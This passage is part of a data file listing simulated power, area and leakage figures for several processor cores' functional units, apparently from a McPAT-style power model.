'Execution Unit/Runtime Dynamic': 2.29596,
'Execution Unit/Subthreshold Leakage': 1.83518,
'Execution Unit/Subthreshold Leakage with power gating': 0.709678,
'Gate Leakage': 0.372997,
'Instruction Fetch Unit/Area': 5.86007,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.00279577,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.00279577,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.00247939,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000984028,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00113454,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00920547,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.0252237,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0590479,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0759248,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 4.82946,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.241945,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.257875,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 7.28595,
'Instruction Fetch Unit/Runtime Dynamic': 0.610174,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932587,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.408542,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0457783,
'L2/Runtime Dynamic': 0.0123235,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80969,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 3.28175,
'Load Store Unit/Data Cache/Runtime Dynamic': 1.00039,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0351387,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0661486,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0661485,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 3.59539,
'Load Store Unit/Runtime Dynamic': 1.39276,
'Load Store Unit/StoreQ/Area': 0.322079,
'Load Store Unit/StoreQ/Gate Leakage': 0.00329971,
'Load Store Unit/StoreQ/Peak Dynamic': 0.163111,
'Load Store Unit/StoreQ/Runtime Dynamic': 0.326222,
'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591622,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283406,
'Memory Management Unit/Area': 0.434579,
'Memory Management Unit/Dtlb/Area': 0.0879726,
'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729,
'Memory Management Unit/Dtlb/Peak Dynamic': 0.0578887,
'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0582759,
'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699,
'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485,
'Memory Management Unit/Gate Leakage': 0.00813591,
'Memory Management Unit/Itlb/Area': 0.301552,
'Memory Management Unit/Itlb/Gate Leakage': 0.00393464,
'Memory Management Unit/Itlb/Peak Dynamic': 0.300278,
'Memory Management Unit/Itlb/Runtime Dynamic': 0.0405526,
'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758,
'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842,
'Memory Management Unit/Peak Dynamic': 0.558855,
'Memory Management Unit/Runtime Dynamic': 0.0988285,
'Memory Management Unit/Subthreshold Leakage': 0.0769113,
'Memory Management Unit/Subthreshold Leakage with power gating': 0.0399462,
'Peak Dynamic': 21.4902,
'Renaming Unit/Area': 0.369768,
'Renaming Unit/FP Front End RAT/Area': 0.168486,
'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00489731,
'Renaming Unit/FP Front End RAT/Peak Dynamic': 3.33511,
'Renaming Unit/FP Front End RAT/Runtime Dynamic': 1.79401e-05,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0437281,
'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.024925,
'Renaming Unit/Free List/Area': 0.0414755,
'Renaming Unit/Free List/Gate Leakage': 4.15911e-05,
'Renaming Unit/Free List/Peak Dynamic': 0.0401324,
'Renaming Unit/Free List/Runtime Dynamic': 0.015064,
'Renaming Unit/Free List/Subthreshold Leakage': 0.000670426,
'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000377987,
'Renaming Unit/Gate Leakage': 0.00863632,
'Renaming Unit/Int Front End RAT/Area': 0.114751,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.00038343,
'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.86945,
'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.154608,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00611897,
'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00348781,
'Renaming Unit/Peak Dynamic': 4.56169,
'Renaming Unit/Runtime Dynamic': 0.16969,
'Renaming Unit/Subthreshold Leakage': 0.070483,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0362779,
'Runtime Dynamic': 4.57974,
'Subthreshold Leakage': 6.21877,
'Subthreshold Leakage with power gating': 2.58311},
{'Area': 32.0201,
'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
'Execution Unit/Complex ALUs/Peak Dynamic': 0.082223,
'Execution Unit/Complex ALUs/Runtime Dynamic': 0.26727,
'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111,
'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163,
'Execution Unit/Floating Point Units/Area': 4.6585,
'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156,
'Execution Unit/Floating Point Units/Peak Dynamic': 0.406572,
'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033,
'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829,
'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061,
'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.114489,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453,
'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519,
'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913,
'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.184667,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755,
'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964,
'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608,
'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.0932135,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853,
'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.392369,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892,
'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346,
'Execution Unit/Integer ALUs/Area': 0.47087,
'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291,
'Execution Unit/Integer ALUs/Peak Dynamic': 0.0686102,
'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344,
'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222,
'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833,
'Execution Unit/Peak Dynamic': 4.69485,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0768101,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00480219,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.067032,
'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0355151,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175,
'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.143842,
'Execution Unit/Register Files/Runtime Dynamic': 0.0403173,
'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387,
'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643,
'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402,
'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.161778,
'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.313147,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478,
'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 1.41848,
'Execution Unit/Subthreshold Leakage': 1.79543,
'Execution Unit/Subthreshold Leakage with power gating': 0.688821,
'Gate Leakage': 0.368936,
'Instruction Fetch Unit/Area': 5.85939,
'Instruction Fetch Unit/Branch Predictor/Area': 0.138516,
'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000133002,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.000133002,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.00012003,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 4.87548e-05,
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'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
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'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05,
'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000510177,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.000896211,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00112566,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0341416,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
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'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.0705979,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
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'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 4.49561,
'Instruction Fetch Unit/Runtime Dynamic': 0.222722,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
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'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0336148,
'L2/Runtime Dynamic': 0.01092,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
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'Load Store Unit/Data Cache/Area': 6.84535,
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'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.030216,
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'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918,
'Load Store Unit/Peak Dynamic': 2.31377,
'Load Store Unit/Runtime Dynamic': 0.64517,
'Load Store Unit/StoreQ/Area': 0.322079,
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'Load Store Unit/StoreQ/Peak Dynamic': 0.0745075,
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'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621,
'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004,
'Load Store Unit/Subthreshold Leakage': 0.591321,
'Load Store Unit/Subthreshold Leakage with power gating': 0.283293,
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'Memory Management Unit/Gate Leakage': 0.00808595,
'Memory Management Unit/Itlb/Area': 0.301552,
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'Memory Management Unit/Peak Dynamic': 0.336561,
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'Renaming Unit/Area': 0.303608,
'Renaming Unit/FP Front End RAT/Area': 0.131045,
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'Renaming Unit/Free List/Area': 0.0340654,
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'Renaming Unit/Gate Leakage': 0.00708398,
'Renaming Unit/Int Front End RAT/Area': 0.0941223,
'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242,
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'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228,
'Renaming Unit/Peak Dynamic': 3.58947,
'Renaming Unit/Runtime Dynamic': 0.263681,
'Renaming Unit/Subthreshold Leakage': 0.0552466,
'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461,
'Runtime Dynamic': 2.5995,
'Subthreshold Leakage': 6.16288,
'Subthreshold Leakage with power gating': 2.55328},
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'Execution Unit/Area': 7.68434,
'Execution Unit/Complex ALUs/Area': 0.235435,
'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646,
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'Execution Unit/Floating Point Units/Area': 4.6585,
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'Execution Unit/Floating Point Units/Peak Dynamic': 0.207729,
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'Execution Unit/Gate Leakage': 0.120359,
'Execution Unit/Instruction Scheduler/Area': 1.66526,
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'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223,
'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562,
'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763,
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'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262,
'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388,
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'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451,
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'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446,
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'Execution Unit/Peak Dynamic': 4.35846,
'Execution Unit/Register Files/Area': 0.570804,
'Execution Unit/Register Files/Floating Point RF/Area': 0.208131,
'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788,
'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.0392444,
'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.00424675,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698,
'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968,
'Execution Unit/Register Files/Gate Leakage': 0.000622708,
'Execution Unit/Register Files/Integer RF/Area': 0.362673,
'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992,
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'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0314073,
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'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675,
'Execution Unit/Register Files/Peak Dynamic': 0.0853956,
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'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912,
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'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.107285,
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'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543,
'Execution Unit/Runtime Dynamic': 1.30809,
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'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221,
'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362,
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'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719,
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'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362,
'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831,
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'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575,
'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.00025555,
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'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 9.91916e-05,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347,
'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045,
'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838,
'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732,
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'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602,
'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.000451169,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505,
'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733,
'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00129241,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703,
'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282,
'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954,
'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758,
'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867,
'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00279053,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682,
'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357,
'Instruction Fetch Unit/Gate Leakage': 0.0589979,
'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323,
'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05,
'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827,
'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0301927,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885,
'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682,
'Instruction Fetch Unit/Instruction Cache/Area': 3.14635,
'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931,
'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 1.92051,
'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.0827014,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022,
'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386,
'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799,
'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493,
'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404,
'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.102548,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943,
'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104,
'Instruction Fetch Unit/Peak Dynamic': 4.23223,
'Instruction Fetch Unit/Runtime Dynamic': 0.219525,
'Instruction Fetch Unit/Subthreshold Leakage': 0.932286,
'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843,
'L2/Area': 4.53318,
'L2/Gate Leakage': 0.015464,
'L2/Peak Dynamic': 0.0666648,
'L2/Runtime Dynamic': 0.0186275,
'L2/Subthreshold Leakage': 0.834142,
'L2/Subthreshold Leakage with power gating': 0.401066,
'Load Store Unit/Area': 8.80901,
'Load Store Unit/Data Cache/Area': 6.84535,
'Load Store Unit/Data Cache/Gate Leakage': 0.0279261,
'Load Store Unit/Data Cache/Peak Dynamic': 2.44529,
'Load Store Unit/Data Cache/Runtime Dynamic': 0.612304,
'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675,
'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085,
'Load Store Unit/Gate Leakage': 0.0350888,
'Load Store Unit/LoadQ/Area': 0.0836782,
'Load Store Unit/LoadQ/Gate Leakage': 0.00059896,
'Load Store Unit/LoadQ/Peak Dynamic': 0.0390871,
'Load Store Unit/LoadQ/Runtime Dynamic': 0.0390872,
'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961,
